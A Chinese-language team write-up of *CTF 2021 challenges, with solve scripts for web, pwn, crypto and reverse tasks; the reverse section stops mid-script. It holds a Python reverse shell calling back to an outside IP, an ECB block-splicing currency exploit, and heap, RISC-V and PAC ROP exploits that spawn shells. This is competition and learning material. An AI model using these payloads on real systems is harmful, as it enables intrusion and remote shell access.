*CTF2021 By 天璇Merak

 

非常感谢队里师傅的拼搏 打到第三名实属不易

2020 *CTF By 天璇Merak

 

Web

lottery

ECB按照块加密,前后块不相关,开多个用户,把用户A的enc前两块,用户B的
enc后三块拼起来,由于json同名变量覆盖特性,可以使得用户A的lottery为用户B充钱

import requests
import string
import random
import base64

url = "http://52.149.144.45:8080/"




def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(16)])


def login(username):
    data = {
        "username": username,
        "password": "zbrsb"
    }
    res = requests.post(url + "user/login", data=data)
    # print(res.text)
    return res.json()["user"], res.json()["user"]["api_token"]


def register(username):
    data = {
        "username": username,
        "password": "zbrsb"
    }
    res = requests.post(url + "user/register", data=data)
    # print(res.text)
    return res.json()["user"]


def getUserInfo(api_token):
    param = {
        "api_token": api_token
    }
    res = requests.get(url + "user/info", params=param)
    print(res.json()["user"]["coin"])
    return res.json()["user"]


def getLotteryInfo(api_enc):
    data = {
        "enc": api_enc
    }
    res = requests.post(url + "lottery/info", data=data)
    print(res.text)
    return res.json()


def buy(api_token):
    data = {
        "api_token": api_token
    }
    res = requests.post(url + "lottery/buy", data=data)
    return res.json()["enc"]


def charge(userid, userenc):
    data = {
        "user": userid,
        "enc": userenc,
    }
    res = requests.post(url + "lottery/charge", data=data)
    # print(res.text)
    return res.json()


def genEnc(myenc, enc):
    cur = base64.b64decode(enc).encode("hex")
    my = base64.b64decode(myenc).encode("hex")
    final = cur[:128] + my[64:]

    return base64.b64encode((final).decode("hex"))


# usr,token = login("zbrsb")
# print(usr,token)
# buy(token)

# usr,token = login("zbrsb2")

# enc = "q19xM0nY5jhnDfX\/2wrKNDxC69J+Vda0SX3mFVdcecTZo5PDlwYy2KqH2dcqC4c2k3D4I8mZCk\/yataAxVJwPt32fDnmyH\/c5Tnq3lSJcxUbzgyDp3VOududj3AgXwymBjSyaFt2IKlwoR3d7w7jo+fD1fAWeDcaolVlMsw0nG4="

usr, my_token = login("zbrsb")

my_uuid = usr["uuid"]

myenc ="ieNWhV8nVOrsaFSUKgo7cB9I4QS3NhuBUNfwa3xFunyxJo6k+N2RhrD5QLr9PQ8HcgPGkbQhV4ASoC/vEezABS8l0GpLbOdSz7eGq5xPr+CDbuWSPHJ2fltj6OMAtc7my6TxeH2KB7jwFBJ80Pmj5VyvoMKKdACWBUhZd1lHkzE="


while True:
    name = "zbrsb" + get_random_id()
    register(name)
    usr, token = login(name)
    charge(my_uuid, genEnc(myenc=myenc, enc=buy(token)))
    getUserInfo(my_token)

# print(genEnc(enc))

Socket

下载源码发现webserver端会 运行我们的代码
那么考虑反弹Shell

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("175.24.87.217",7770))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

成功弹shell之后 ls 之后发现solve.py可能是上个队留下的。

就是打socket 打5001

from socket import *
try:
    tcpSerSock = socket(AF_INET, SOCK_STREAM)
    tcpSerSock.connect(('172.21.0.2', 21587))
    tcpSerSock.send(b'*ctf')
    #tcpSerSock.send(b'GET /file?name=%2Fproc%2Fself%2Fenviron HTTP/1.1\r\n\r\n')
    print(tcpSerSock.recv(1280))
except Exception as e:
    print("ERROR", e)

on-my-note

审计发现是需要note_idpost_at来爆破得到user_id,再通过访问接口得到user_id所有的文章,构造exp

#!/usr/bin/env python3
import datetime
import string
import random
import time
from dateutil.parser import parse

# From the app.py
def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

# Gotten experimentally
mytimezone_offset = 3600

# Ones we were sure of

post_at = '2021-01-15 02:29 UTC'
note_id = 'lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u'

timeStamp = float(time.mktime(time.strptime('2021-01-15 10:29', '%Y-%m-%d %H:%M')))

found = False
for s in range(60):
    if found:
        break
    for m in range(10000):
        cur_timeStamp = ((timeStamp+s)*10000+m)/10000
        #print(cur_timeStamp)
        time_in_ms = round(cur_timeStamp, 4)
        #print(time_in_ms)
        random.seed(time_in_ms)
        my_user_id = get_random_id()
        #post_at = datetime.datetime.fromtimestamp(time_in_ms, tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')
        #print(post_at)
        random.seed(my_user_id + post_at)
        my_note_id = get_random_id()
        if my_note_id.startswith(note_id[:5]):
            print(note_id)
            print(my_note_id)
            print('user_id', my_user_id)
            found = True
            break

注意user_id创建的时间应该是在2021-01-15 02:29 UTC甚至之前,这是admin发的第一个帖子,跑出admin用户的user_id

访问API即可得到:

 

Misc

Puzzle

万恶的拼图,似乎是因为加了噪的关系,各种脚本都跑不出来,用脚本拼图只能拼出来下面这种东西

其实能看出来flag在下面花的部分。找到原图之后调成半透明放到ppt里,开始经典拼图环节,把花里带字的块都挑出来慢慢拼
最后拼成这样的时候其实已经能看出flag
flag{you_can_never_finish_the}

签到

手速帝二血

feedback

wtf ? chess?

MineGame

直接下载了800M+的安装包,然后点了点发现点炸了或者 点了一阵就突然没了
考虑到是有时间限制的。
于是更改时间直接手玩拿flag了。

little tricks

改后缀vhdx发现可以挂载
使用取证大师可以提取出加密得那一部分,
而后我们考虑可以使用Bitlocker2john进行分析

./bitlocker2john.exe -i a.dd

得到Hashcat可以爆破得格式
然后爆破得到密码12345678
之后diskGenius直接打开
发现其中的pdf
直接得到flag。

 

Pwn

babyheap

题目给了show和edit,而且存在uaf漏洞。唯一要解决的问题就是edit时无法修改前8个字节。所以多次free后将2个堆块放到fastbin中,再利用leave name功能malloc一个较大的堆块造成fastbin consolidate。接下来就可以实现堆块的overlap,直接uaf改free hook就行了。

exp:

from pwn import *
context.log_level='debug'

def add(index,size):
    sh.sendafter('>> \n','1')
    sh.sendafter('index\n',index)
    sh.sendafter('size\n',str(size))

def free(index):
    sh.sendafter('>> \n','2')
    sh.sendafter('index\n',index)

def edit(index,content):
    sh.sendafter('>> \n','3')
    sh.sendafter('index\n',index)
    sh.sendafter('content\n',content)

def show(index):
    sh.sendafter('>> \n','4')
    sh.sendafter('index\n',index)

def l_name(name):
    sh.sendafter('>> \n','5')
    sh.sendafter('name:\n',name)

#sh=process('./babyheap')
#pause()
sh=remote('52.152.231.198',8081)
for i in range(9):
    add(str(i),0x40)
for i in range(6):
    free(str(i))
free('8')
free('6')
free('7')
l_name('/bin/sh\x00')
show('6')
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebd30
print(hex(libc_base))
#pause()
free_hook=libc_base+0x3ED8E8-16
system_addr=libc_base+0x000000000004F550#0x4F4E0+0x70
add('9',0x60)
add('10',0x20)
add('0',0x40)
free('7')
edit('9','a'*0x38+p64(0)+p64(0x51)+p64(free_hook))
add('1',0x40)
add('2',0x40)#free_hook
edit('2','/bin/sh\x00'+p64(system_addr))
edit('9','a'*0x38+p64(0)+p64(0x51)+'/bin/sh\x00')
#pause()
free('7')
sh.interactive()

Favourite Architecure flag1

是个risc v架构的程序,用ghidra分析。搜索字符串flag找到主函数后,看到输入距离s0有0x128字节,s0之前的8个字节存储了返回地址,因此溢出需要填充0x120个垃圾数据。接下来只需要寻找gadget进行orw操作来读出flag。从entry处开始手动查找到了一个可以用来重复调用函数的gadget,并且能够设置3个参数。

一开始想要返回到0x1179e处设置函数参数,再到0x1178c处利用设置好的s0来控制a5的值实现任意函数调用,但因为是c.ld,在程序中又没有找到got表,因此使用另一个gadget来设置a5,其实就是上面的0x11772。

只要控制好s2的值等于a5+0x470就能够跳转回0x1179e,再进行一次参数设置后就可以跳转到0x1178e进行任意函数调用了,调用完毕继续执行下面的设置参数部分,可以控制返回地址回到溢出点的位置实现重复利用。

因此rop链就是溢出点->0x1179e->0x11772->0x1179e->0x1178e->0x1179e->溢出点。

接下来的问题就是找到程序中的open和read函数了。查询risc v的系统调用ecall字符串,可以找到很多系统调用,在上方总有一条设置a7的指令,因为在risc v中将系统调用号存储在a7寄存器中。接下来搜设置a7寄存器的机器码,其中a7为0x38的是openat,0x3f的是read。

exp:

from pwn import *
context.log_level='debug'


def get_payload(target_fun,para1,para2,para3):
    payload='a'*0x120+p64(0x1179e)+p64(0)+p64(para3)+p64(para2)+p64(para1)+p64(target_fun+0x470)+p64(0)+p64(target_fun+0x478)+p64(0x11772)
    payload+=p64(0)+p64(para3)+p64(para2)+p64(para1)+p64(1)+p64(0)*2+p64(0x1178e)
    payload+=p64(0)*7+p64(0x10400)
    return payload

read_addr=0x222ce
open_addr=0x221cc
printf_addr=0x1605a
file_name=0x6c120
flag_addr=0x6c110
sh=remote('119.28.89.167',60001)
payload=get_payload(read_addr,0,file_name,15)
sh.sendlineafter('flag:',payload)
sh.send('/home/pwn/flag\x00')

payload=get_payload(open_addr,file_name,0,0)
sh.sendlineafter('flag:',payload)

payload=get_payload(read_addr,3,flag_addr,0x40)
sh.sendlineafter('flag:',payload)

payload=get_payload(printf_addr,flag_addr,0,0)
sh.sendlineafter('flag:',payload)

sh.interactive()

babypac

step1:爆hash
step2:pac
看到paciasp给栈指针和返回地址进行加密,恰巧lock运用到pacia加密,于是在name中填入第一步rop的地址(csu),然后解密lock得pac,构造rop链即可
step3:泄露libc基址0x4000838000,system(“/bin/sh”);

from pwn import *
import hashlib
from subprocess import check_output
from z3 import *
context.log_level='debug'


def get_payload(target_fun,para1,para2,para3):
    rop='a'*0x20+p64(0)+p64(0x400ff8)+p64(0)+p64(0x400fd8)+p64(0)+p64(1)+p64(target_fun)+p64(para1)+p64(para2)+p64(para3)
    rop+=p64(0)+p64(0x400bdc)+p64(0)*6
    return rop
def pac_get_payload(pac,target_fun,para1,para2,para3):
    rop='a'*0x20+p64(pac-0x400ff8)+p64(pac)+p64(0)+p64(0x400fd8)+p64(0)+p64(1)+p64(target_fun)+p64(para1)+p64(para2)+p64(para3)
    rop+=p64(0)+p64(0x400f5c)+p64(0)*6
    return rop
def get_i_bit_right(cipher, bits):
    tmp = cipher[:bits]
    for i in range(len(cipher) - bits):
        tmp.append(tmp[i] ^ cipher[i+bits])
    return tmp
def get_i_bit_left(cipher, bits):
    tmp = cipher[-bits:]
    for i in range(len(cipher) - bits):
        tmp = [tmp[-(i+1)] ^ cipher[-(i+bits+1)]] + tmp
    return tmp
def digit_pac(res):
    known = [int(i) for i in bin(res)[2:].rjust(64, '0')]

    t1 = get_i_bit_right(known, 13)
    t2 = get_i_bit_left(t1, 31)
    t3 = get_i_bit_right(t2, 11)
    t4 = get_i_bit_left(t3, 7)
    return int(''.join([str(i) for i in t4]), 2)
def exp(target_fun,para1,para2,para3):
    sh.sendafter('name: ',p64(0x400ff8)+p64(0)+p64(0x10A9FC70042)+p64(0))
    sh.sendlineafter('>> ','2')
    sh.sendlineafter('idx: ','-2')
    sh.sendlineafter('>> ','3')
    sh.recvuntil('name: ')
    pac = u64(sh.recv(8))
    pac = digit_pac(pac)
    success('0x%x'%pac)
    sh.sendlineafter('>> ','2')
    sh.sendlineafter('idx: ','-1')
    sh.sendlineafter('>> ','4')
    sh.sendlineafter('idx: ','-1')
    #sh.sendlineafter('idx: ','-1')
    sleep(0.5)
    rop=pac_get_payload(pac,target_fun,para1,para2,para3)
    sh.send(rop)
    sleep(0.5)
map=[]

for i in range(9):
    map.append(str(i))
for i in range(26):
    map.append(chr(ord('a')+i))
    map.append(chr(ord('A')+i))

sh=remote('52.255.184.147',8080)
sleep(3)
sh.recvuntil('+')
plain=sh.recvuntil(")")[:-1]
sh.recvuntil('== ')
target=sh.recv(64)
sign=0
for i in map:
    if(sign):
        break
    for j in map:
        if(sign):
            break
        for k in map:
            if(sign):
                break
            for l in map:
                temp=i+j+k+l+plain
                s = hashlib.sha256()    
                s.update(temp)    
                b = s.hexdigest()
                if(b==target):
                    print(i+j+k+l)
                    print(temp)
                    print(b)
                    sh.sendlineafter('xxxx:',i+j+k+l)
                    sign=1

#sh=remote('127.0.0.1',23337)
sh_addr=0x412088
save_system=0x412078
leak_addr=0x411fb0
fmt_addr=0x411FE0
printf_got=0x411FE0
read_got=0x411FD8
#0x4000881d38
libc_base=0x4000838000#u64(sh.recv(8).ljust(8,'\x00'))#-0x49d38
success('libc_base : 0x%x'%libc_base)
system_addr=libc_base+0x40400
open_addr=libc_base+0xc2f78
printf_addr=libc_base+0x49d38

exp(read_got,0,save_system,0x18)
sh.send(p64(system_addr)+p64(open_addr)+'/bin/sh\x00')
exp(save_system,sh_addr,0,0)
sh.interactive()

 

Crypto

Mycurve

搜了一下加法公式,发现是Binary Edward Curve,然后就用提出这个曲线的paper里的映射

将他映射到一般椭圆曲线上,然后通过以下公式算出参数

由于是在$GF(2^{100})$上,足够光滑,sage直接可以求出DLP,exp如下

from Crypto_tools import *

def add(P,Q):
    if Q==0:
        return P
    x1,y1=P
    x2,y2=Q
    return (d1*(x1+x2)+d2*(x1+y1)*(x2+y2)+(x1+x1^2)*(x2*(y1+y2+1)+y1*y2))/(d1+(x1+x1^2)*(x2+y2)),(d1*(y1+y2)+d2*(x1+y1)*(x2+y2)+(y1+y1^2)*(y2*(x1+x2+1)+x1*x2))/(d1+(y1+y1^2)*(x2+y2))

def mul(k,P):
    Q=(0,0)
    while k>0:
        if is_even(k):
            k/=2
            P=add(P,P)
        else:
            k-=1
            Q=add(P,Q)
    return Q

_F=GF(2**100)
_R.<x,y>=_F[]
d1=_F.fetch_int(1)
d2=_F.fetch_int(1)
_G = (_F.fetch_int(698546134536218110797266045394),_F.fetch_int(1234575357354908313123830206394))
_P = (_F.fetch_int(403494114976379491717836688842), _F.fetch_int(915160228101530700618267188624))

def g(point):
    y, x = point
    return x**2 + x*y - y**3 - 2*y**2 - 3

def To_Birational(point):
    x, y = point
    return (3*(x+y)) / (x*y + x + y),  3*(x / (x*y+x+y) + 2)


E = EllipticCurve(GF(2**100), [1, 2, 0, 0, 3])
G = To_Birational(_G)
P = To_Birational(_P)
assert g(G) == g(P) == 0

G = E(G)
P = E(P)
flag = G.discrete_log(P)
print(long_to_bytes(flag))

GuessKey1

显然,只要输入mask为0,new_key就和原来Key一样。因此输入三次0,和key 即可获得flag

guesskey2

考虑每次p和q都是随机选的0点,我们不能得到任何信息,只能盲猜,leak不现实,只能把他的key改为预期值,于是想到每次设mask为1,则可以稳定使得p,q两个点从0变1,而且key是随机取的,01分布应该较为均匀,故通过不断的传入1的mask即可让key变为全1,所以不断的传1的mask,猜64个1即可,exp如下

from winpwn import *


def one(num):
    io.recvuntil('mask:')
    io.send(str(num) + '\n')
    io.recvuntil('guess:')
    io.send(str(int('1'*64, 2)) + '\n')


io = remote('52.163.228.53', 8082)

times = 0
while True:
    one(1)
    answer = io.recvuntil('\n')
    print('times %d' % times)
    times += 1
    if 'Oops' in answer:
        continue
    else:
        print('Found!')
        break

one(0)
one(0)
io.interactive()

little_case

d1很小,先wiener hack出d1,然后解出p的值。
GCD(special, φ(n))!=1, 尝试把φ(n)的小因子分解出来

special > 4200,又正好有两个4919,先尝试把c开4919次方根
用到 Adleman-Manders-Miller rth Root Extraction Method
代码

import random
import time


def AMM(o, r, q):
    start = time.time()
    print('\n----------------------------------------------------------------------------------')
    print('Start to run Adleman-Manders-Miller Root Extraction Method')
    print('Try to find one {:#x}th root of {} modulo {}'.format(r, o, q))
    g = GF(q)
    o = g(o)
    p = g(random.randint(1, q))
    while p ^ ((q-1) // r) == 1:
        p = g(random.randint(1, q))
    print('[+] Find p:{}'.format(p))
    t = 0
    s = q - 1
    while s % r == 0:
        t += 1
        s = s // r
    print('[+] Find s:{}, t:{}'.format(s, t))
    k = 1
    while (k * s + 1) % r != 0:
        k += 1
    alp = (k * s + 1) // r
    print('[+] Find alp:{}'.format(alp))
    a = p ^ (r**(t-1) * s)
    b = o ^ (r*alp - 1)
    c = p ^ s
    h = 1
    for i in range(1, t):
        d = b ^ (r^(t-1-i))
        if d == 1:
            j = 0
        else:
            print('[+] Calculating DLP...')
            j = - discrete_log(d, a)
            print('[+] Finish DLP...')
        b = b * (c^r)^j
        h = h * c^j
        c = c^r
    result = o^alp * h
    end = time.time()
    print("Finished in {} seconds.".format(end - start))
    print('Find one solution: {}'.format(result))
    return result

def findAllPRoot(p, e):
    print("Start to find all the Primitive {:#x}th root of 1 modulo {}.".format(e, p))
    start = time.time()
    proot = set()
    while len(proot) < e:
        proot.add(pow(random.randint(2, p-1), (p-1)//e, p))
    end = time.time()
    print("Finished in {} seconds.".format(end - start))
    return proot

def findAllSolutions(mp, proot, cp, p):
    print("Start to find all the {:#x}th root of {} modulo {}.".format(e, cp, p))
    start = time.time()
    all_mp = set()
    for root in proot:
        mp2 = mp * root % p
        assert(pow(mp2, e, p) == cp)
        all_mp.add(mp2)
    end = time.time()
    print("Finished in {} seconds.".format(end - start))
    return all_mp


c = 12732299056226934743176360461051108799706450051853623472248552066649321279227693844417404789169416642586313895494292082308084823101092675162498154181999270703392144766031531668783213589136974486867571090321426005719333327425286160436925591205840653712046866950957876967715226097699016798471712274797888761218915345301238306497841970203137048433491914195023230951832644259526895087301990301002618450573323078919808182376666320244077837033894089805640452791930176084416087344594957596135877833163152566525019063919662459299054294655118065279192807949989681674190983739625056255497842063989284921411358232926435537518406
p = 199138677823743837339927520157607820029746574557746549094921488292877226509198315016018919385259781238148402833316033634968163276198999279327827901879426429664674358844084491830543271625147280950273934405879341438429171453002453838897458102128836690385604150324972907981960626767679153125735677417397078196059
q = 112213695905472142415221444515326532320352429478341683352811183503269676555434601229013679319423878238944956830244386653674413411658696751173844443394608246716053086226910581400528167848306119179879115809778793093611381764939789057524575349501163689452810148280625226541609383166347879832134495444706697124741
e = 4919
cp = c % p
cq = c % q
mp = AMM(cp, e, p)
mq = AMM(cq, e, q)
p_proot = findAllPRoot(p, e)
q_proot = findAllPRoot(q, e)
mps = findAllSolutions(mp, p_proot, cp, p)
mqs = findAllSolutions(mq, q_proot, cq, q)
print (mps, mqs)

def check(m):
    h = m.hex()
    if len(h) & 1:
        return False
    if h.startswith('2a435446'):
        print(h)
        return True
    else:
        return False


start = time.time()
print('Start CRT...')
for mpp in mps:
    for mqq in mqs:
        solution = CRT_list([int(mpp), int(mqq)], [p, q])
        if check(solution):
            print(solution)
    print(time.time() - start)

end = time.time()
print("Finished in {} seconds.".format(end - start))

之后在1000+秒的时候会跑出来

MyEnc

# -*- coding: utf-8 -*-
"""
Created on Sat Jan 16 10:26:47 2021

@author: 段宇飞
"""

from hashlib import sha256
from Crypto.Util.number import long_to_bytes
charset = "0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"


def dfs(now, need, have, ans):
    if len(now) == need:
        if sha256((now + have).encode()).hexdigest() == ans:
            return now
        else:
            return None

    else:
        for each in charset:
            ret = dfs(now + each, need, have, ans)
            if ret:
                return ret

    return None


have = "OQ8voCHrQuXuv1cg"
ans = "da3861c3919cee65da80e1f52e1c487a541f4519309d47c08f8666b73a48c872"

#ret = dfs("", 4, have, ans)
#if ret:
#    print(ret)

n = 19152898901142929440449993714107763306498964289029609481677887187501718334070169943418646886645696471668222757820342641066703122940904406992012515132141551203072653911142153082399807215276813397838302320992429531130196688243296277248924473319568441333150397603714182485608446740486600301327869208188947248652132600920864114883342877960278792942233811796231235577899197687263677908950916389538698434179750604196078349842566449576408439367021997585115318060608971816564921559085057736004717082365079917040305980992636086501522091527553755322064246867277582381886721728142465397769073361057617852124453574921375289384411
q = 136336330047733325054113952461931936515812064725123861249117110679515142731875568006303102262083234829496443429948284820547006163774050705268578888017074545733551599917748460394164013567425320488015004443249117018189718927313644340204560494817381360316268428655433572042760155237467193996507748198674415388579
p = n // q
iv = 4885744396512045995860532259657177521038550405328945198140425693545864649247833341952487772811822207595725008938745267597758207353092222457307264049806418091157385674630493565847543747777292954801545886485590758985273236632354666586312791352537204119506330852778247455025734443910608937334271687938127446954445287910959508808458361940956263584782969236770063820874057150433324783168838614040685045144965658983215052678226213152543241529849364270369983750216405086403302791761147321008343959036682610434396067298869116317292113179343884936031522143092316321712299193818059904314318023731951908731266978511168046098206
phi = (p - 1) * (q - 1)

pows = []

datas = [10808508467762569869427009637656761450111870041079208820382928170331477702849334331032848659579931201930306396012958169176386329983136922548723549970292886844158749699788705830248757477715984256034863333726077037638511437757905452958201399443125505066086907610594681615244333851658684783999833660814017702895949931810728574333061172854163185079970447793154102595286679989633661318166273159607157860492105818514220255761307551847608231520720102229615596538704105342275302268595353459708324522480241627999258165425843754631213364904085401410146741789141785408552219168144392010635229603258392056471526591937936417694345, 
         9236451725535025963239830997900658795400164310766266842836393544687990991533575720273533731399136991571021580881687070662707384735374249647804031403030505572115683962781464323254918440566228113897330548792694736142940790383988445720267613651565972002610494455322541621411409590440425074411956207979850349926667874457332235597908790608548742891766090896149278991883652644008769213437489147931177468243986920083281061468599806263499746911702794054909806206158632952940778190482486605683541306379317751610731136106309174793735406886000421420377427434548180610927473917077003200214483931719220803252843529596614336242890, 
         4198862071041399507005436552179775872267689447831443728712607228879364573686212490443899935098929698986201169231384712214212157744464661867152397496493437813852270448127977418056530286168996011825208697909367396175006139083602715126388962330839296151878698895970372840859351124533091690045368205257381071300009556471760139688623474566025169529908802172020250416514734594509508004263117594652383723369198887253336674865932812040964884659235799942659350376339132532693098260569309595347176124557701073293832592918165799367439622176447172266880410862290450368182112305590047743600019188884111132671063575903596831085849, 
         14904265568851891904070062420660660733107521597942576181744505652736675431330540187905395948996966336520372902594744044899740523114346300876248495026927762718652959459887440138266896877305363513106365991526194675436613623296528713495095044360866613282645567037276179602976425034260366205858868990982660808169316225494433345951641243477070900333139327296522037231011511575994100981292249848071862258800157755579235691746213348513901623466736946506548547941947967420421868864098159136385091325273365592906104849791318205648919646975659623068234898895976963575436938375556351666311268603900755102487229190541773697455070, 
         9873212880609097805954706115885169102020169799582903526114654115968111227898162071559629625456760451309767117934437709628443359568619850616038385732828998090552638137735677952716659558353675634905906810170076222093237039105501947537040716937391204808431430445571255364420613769194498566929692678923684111796149457679073488607336819964758046534560885373215523836736575194311857676933021314831025750936932673463571730791269742981077966039847318583523671568038140027709247843223895496605145424341753249994502083776731848814541259978405298358698211936495655029627047303664529383680431117305070372151054338984507313176264, 
         9484864987217851537857038812194849494721003594765070667676849134384857390923127128238164927809415233582037019252846974827104305541263760990334329087181414048416680298331976052996002898320239792049949883772472188877948091487639999681504467135602364292638339663538093258068746353527094044193193707189437565372032617149787952203798256123022787382301486251338044346074434883406756075765019973319008256023393293404051208626344214018451655521962013373291097802947325713796628084662106843125552570038824592474923743374717763660555020808783811802674846006392445036322458893328853666454983582824701711513112379942472225683078, 
         2062478632350732605284213388242800962981043149481063180746925923603823987836906176888574646766724076914461630530205040213004576830842683601356322460920264310717627413307201219988960052000677259357338044171855456174944083796645170473595428933675313411868836973411593383938445117189246273933060727403850361882805109002623832996439740271734288038352393178552319918187077038835861208506769345611654134881086690973683067151653766595184484608470992090911416434917510173641566540409096192559947660654773350950239307327670842615305046342468870776309237604852060273694725032075894092088554356849946058740977188089201867028908, 
         9618262652675439873218460160645587110654207451008949242780263747231182614093625550111130956286480801924537052573281782286848375317547201753066563436239786484088549609683441503327424265154119732881624805663089882733671670892491428939979539556103545141885926269708459185767029805266363851711043489050604314097293164816405533436466461920073282480746643217204243301451811287096852909790347469405237726145963349428521157985801946536414852604010733075916800515339774239318339040005361888606714879792242073725013699334766241355804248343322983532440463751874968907296591787817545743456304209960164523645180386502898302726771, 
         3817051143900985597026807389434847557013646307588761328768737026336172951126162660606302710211585888632685697539790000590071167162291709761889865463284156901879404801226000237984024461581104392840914441038972249584275258575099731906677036426301723012603267081584455276503730909707152912746280924186627107129384266112686841850065803254500629940928249850965286106946575951421424307910259273178323465467222457908096578348730671768049778966927860921652356067157991246315537411046434312424002551144776751179550029689708732805370780719124610154817374544963662071812994434849505200358198910643167412278726718997312864601970, 
         17295599235476216738527531539837217633760130244866911013044577326749144630984383022909219906499451607977342506657079644242543088279040928005016392359090147828251691022760452785723702404673238167598518649770692954796241046796496776744949755139318255689200933135697755238550915005532346337189825658709271315285376965826237607814695335816046545878509978446001248264623933038882752544191271942538379872079239275893939872265960190404345136953338339865903352936067955567864309387476906147170750333725804491519186519823778769859791234444720239385063820338036039792254781164917488958046860343279826024923189530837777671830430, 
         18364292488087277137361256410059547597785034342607094882416265993958836329106053704255404969099687926940381818056034911250230128469841440700433790945612409017529671896164946113587221690869426729559150095217311464197239024853751711424585510065553736796103996906891547417072918539735802361777816422460771655110437987624510274773087894502502179522364697831806025978551414237894653019449851283400741451756982476969058346595455731788838599516259843214620980619126369407952074768191619155755091741617710350774032557432939153371712566904939514166277967936164694042154085923886043662002979456368610521375729790351632853457740, 
         3562100915967327664290561434195265565647683959014807045434346657599244337321626139157804041041306239247455632178634073248476182911219060898918043166694945295415316273173763788594789168381548490816632436531985910224709890362089213309615859045014063346057762905721659097850146945779018197527631734313547309430527973250018886679195445209815865887114007694954005571661812044206419540767585427752535440676253133873046005543262875323386665531091275414045485014459625457924628607827900704425572006595265574910061645247743125346633769084042295328559626360342975949482538919002521560134072003298261563772852766515703854152477, 
         16227909049396610235640033246122572688498388044256714334450584688683295743256747390700079680767482304868642279354855239249022547556219462434637715910039235514395028861344169915519651456701107977091279441479799524197176969566794166771791976668389754056094134984332767960152012532391956945665508944607240945693233540155373968080904160208211298030808288838338095480223756682221006223693503034360011863268870280689404738881176686343058199465495035362873046677704747048900543048031405752967863277714782628430439271842444196619577991070961212675706794678726303947666698650371890010491514624334445447445643402537237889400799, 
         18364292488087277137361256410059547597785034342607094882416265993958836329106053704255404969099687926940381818056034911250230128469841440700433790945612409017529671896164946113587221690869426729559150095217311464197239024853751711424585510065553736796103996906891547417072918539735802361777816422460771655110437987624510274773087894502502179522364697831806025978551414237894653019449851283400741451756982476969058346595455731788838599516259843214620980619126369407952074768191619155755091741617710350774032557432939153371712566904939514166277967936164694042154085923886043662002979456368610521375729790351632853457740, 
         6413185961373712572663512126486282237342657054918384825442893774745950330122648555209620605354038860889758202473146843277953754213124710791853089814144351791675925701458171977396334744789612418453122706478959433332611637548278949607550251232704081294973000575955887550324120263719062411010745247445573264855027695548996559785890168939326767345335514837931535089196672532411305638775419879502146557980107952073749075942027359706140989990324421875451238890859738040179041939130435477235145007997408492126574376135110901091748340049125407260655142896307924562909899755334837387988720264837214953262553739174648157173590, 
         10808508467762569869427009637656761450111870041079208820382928170331477702849334331032848659579931201930306396012958169176386329983136922548723549970292886844158749699788705830248757477715984256034863333726077037638511437757905452958201399443125505066086907610594681615244333851658684783999833660814017702895949931810728574333061172854163185079970447793154102595286679989633661318166273159607157860492105818514220255761307551847608231520720102229615596538704105342275302268595353459708324522480241627999258165425843754631213364904085401410146741789141785408552219168144392010635229603258392056471526591937936417628809, 
         16227909049396610235640033246122572688498388044256714334450584688683295743256747390700079680767482304868642279354855239249022547556219462434637715910039235514395028861344169915519651456701107977091279441479799524197176969566794166771791976668389754056094134984332767960152012532391956945665508944607240945693233540155373968080904160208211298030808288838338095480223756682221006223693503034360011863268870280689404738881176686343058199465495035362873046677704747048900543048031405752967863277714782628430439271842444196619577991070961212675706794678726303947666698650371890010491514624334445447445643402537237889335265, 
         13968969981698419840597758898889068385015821356446270887476231598373308956379367928432176914873795585899833624516223585351797552699829228943563330789463873965046847897834412260734798957943054891977409467970193859891339224644125208073934361855132313024990089872252753352152704951796179988788728009092327217069515751362778260225916890587665761787729764876583458472461406780672297340058998003295730149244984610528587166776175539647371357985864162860456622971282002105855814438726701173281912227134877214901348768142206299832247542049979520016786369043330833196511766511076489039356470117947433418166756937588344592936987]


for i in range(1, 8):
    pows.append(pow(i, pow(i, i, phi), phi))

left = 14
right = 20
flag = ""
for each_ans in datas:
    print("%d-%d: " % (left, right), end = '')
    for this in range(128):
        bit = bin(this)[2:].rjust(7, '0')
        ct = iv
        test = each_ans
        for i in range(7):
            if bit[i] == '1':
                ct += pow(2, pows[i], n)
                ct = ct % n
        if ct == test:
            flag = flag + bin(this)[2:].rjust(7, '0')
            print(flag)
            break
    right = (right + 7) % 120


flag = flag[:-6]
flag = flag[-14:] + flag[:-14]

print(long_to_bytes(int(flag, 2)))
'''
len_flag = 120
cnt = 14
cnt = 21
cnt = 28
cnt = 35
...
cnt = 119
cnt = 6
cnt = 13
'''

 

Reverse

stream

  • 打开64位elf,其中都是rust的函数,直接找到rust的main函数分析,然后发现调用了open打开了一个叫flag的文件,并读取了字符串加密输出到output
  • 然后接下来进入到了一个循环加密,看起来就是流加密,不过调用了rust的随机数库chacha
  • 大体逻辑是每次加密第7*i MOD len的字节,然后将原文字节最为随机数种子放入随机数生成器初始化,然后将输出来异或该处字节,最后遍历所有字节
  • 可以用C++伪代码表示出来
  • 所以由于是从前往后加密字节的,所以我们可以使用popen枚举原文,依次枚举7i MOD 46位字节,然后读取output对比测试的第7i MOD 46位字节是否和output_flag一样,如果一样则代表该处字符是对的,可以继续向下枚举
  • 由于该题目加密会出现多对一的情况,所以使用搜索来枚举
    import os
    import time
    import subprocess
    def excuteCommand(com):
      ex = subprocess.Popen(com, stdout=subprocess.PIPE, shell=True)
      out, err  = ex.communicate()
      status = ex.wait()
    def genFile(flag):
      f=open('flag','wb')
      f.write(flag)
      f.close()
    def checkByte(index):
      f1=open('output_flag','rb')
      buf1=f1.read()
      f1.close()
      f2=open('output','rb')
      buf2=f2.read()
      f2.close()
      if len(buf2)!=46:
          return False
      if buf1[index]==buf2[index]:
          return True
      return False
    def toStr(arr):
      bb=''
      for i in range(len(arr)):
          bb+=chr(arr[i])
      return bb
